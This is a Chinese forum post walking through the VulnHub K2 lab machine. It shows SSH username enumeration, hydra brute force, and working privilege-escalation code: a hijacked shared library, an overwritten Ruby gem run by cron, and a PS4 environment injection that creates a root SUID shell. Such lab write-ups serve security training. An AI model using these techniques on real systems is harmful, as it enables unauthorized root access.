ToB企服应用市场:ToB评测及商务社交产业平台
标题:
vulnhub-/DEV/RANDOM: K2 靶机渗透流程
[打印本页]
作者:
莫张周刘王
时间:
2024-11-28 07:36
标题:
vulnhub-/DEV/RANDOM: K2 靶机渗透流程
本篇解题思路参考了靶机作者提供的wp,相关链接:https://www.youtube.com/watch?v=9B1C_xi_yic
靶机信息
下载地址:https://vulnhub.com/entry/devrandom-k2,204/
靶机描述:
一、信息搜集
扫描获取靶机ip、端口、服务信息
仅开启了22端口
二、ssh漏洞使用
1.用户名枚举
其着实靶机的描述信息中已经给出了用户名和暗码user:password,但我最初没看到
靶机ssh服务版本为OpenSSH 6.6.1,这个版本存在用户名枚举漏洞
使用CVE-2018-15473枚举脚本,导入常用用户名字典后爆破ssh的用户名
复制结果保存到记事本查找得到用户名
2.ssh暗码爆破
用hydra对用户user进行暗码爆破
三、后渗透提权
1.通过命令调用的.so库文件提权
进去先sudo -l看看,发现可以以user2权限实行/bin/calc命令
尝试后发现自动进行了某种运算,且进度为99%就竣事了,好像缺少某些依靠导致实行中断
用strace调试下,重点查看调用的库与缺少的库等
strace /bin/calc 2>&1 | grep -i -E "open|access|no such file"
可以发现缺少/home/user/.config/libcalc.so的共享库文件
同理,strings也能发现这个可疑的文件信息
在/home/user文件夹下没有发现.config文件夹,那么我们就可以自己编写具有维持权限结果的.c文件编译得到libcalc.so文件让/bin/calc调用从而达到提权结果
实例.c文件代码如下:
#include <stdio.h>
#include <stdlib.h>
static void x() __attribute__((constructor));
void x()
{
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
复制代码
通过构造函数x让它在程序运行时同步运行,并通过将/bin/bash复制到/tmp下赋予suid并运行来完成提权
编译.c文件
gcc -shared -o libcalc.so -fPIC libcalc.c
复制代码
随后将/home/user目次添加可实行权限,再次sudo实行/bin/calc即可提权到user2
2.通过命令调用的.rb文件提权
同样sudo -l先看看,发现可以以user3权限实行/usr/bin/sleep,通过同样方法验证发现没有调用可修改的命令或是依靠,且sleep命令本身无法通过sudo提权
去user2的用户目次下看看,发现与user用户不同,.bash_history非空。查看后发现修改过定时任务文件/etc/crontab
编辑/etc/crontab即可发现隐藏的定时任务/sbin/bckup
这一步汗青命令多且真实的定时任务隐藏不易发现,故也可以通过定时任务发现脚本pspy64来告竣
查看/sbin/bckup发现其调用了rubygems和zip库
通过gem的查找命令找到zip的.rb文件位置,随后惊喜地发现它是可以被user2修改的
gem which zip
复制代码
那接下来将提权代码写入.rb文件,让它将user3的bash复制到/tmp中并加上suid
echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`' > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
复制代码
等候定时任务实行天生提权文件后实行即可提权到user3的组
3.通过suid命令提取
sudo -l发现因为uid照旧user2,因此显示的sudo命令与user2一样
可以通过编写脚本来使我们的uid变得与gid雷同
实例代码如下:
int main()
{
setreuid(geteuid(),getuid());
setregid(getegid(),getgid());
system("/bin/bash");
}
复制代码
编译后运行即可
sudo -l发现user3需要暗码才华查看sudo命令列表
尝试查找具有suid的文件,发现可疑文件/usr/local/bin/whoisme
通过运行和strings查看到的/usr/bin/logname函数判断,whoisme调用的显示结果就是logname命令的实行结果,尝试运行/usr/bin/logname确认结果一样
在strings查看/usr/local/bin/whoisme的结果中发现它还调用了setuid和setgid函数,这会使得它答应以更高权限的用户和组的身份实行命令,如果我们能保持该权限即可完成到root的提权
我们可以通过临时修改默认环境变量来维持实行命令时的权限
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)' /bin/sh -c '/usr/local/bin/whoisme'
复制代码
其中env -i表现忽略当前其他环境变量值,SHELLOPTS和PS4是linux默认的环境变量,SHELLOPTS=xtrace将追踪之后命令的实行结果并显示,而PS4则会在实行命令时将其/bin/bash复制到/tmp下并修改其属主与属组为root,然后添加suid
可以看到提权已经乐成,在/root下获取flag.txt即可
四、脚本一键提权
其着实查找suid文件的过程中,我们还会发现一个值得留意的点:/usr/lib/polkit-1/polkit-agent-helper-1
而这个文件在先前披露的cve-2021-4034中有提权漏洞,可以使用对应的脚本一键快速提权
现在我们的用户是最初的登任命户user
我们下载提权脚本后编译并运行,即可一步提权到root
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4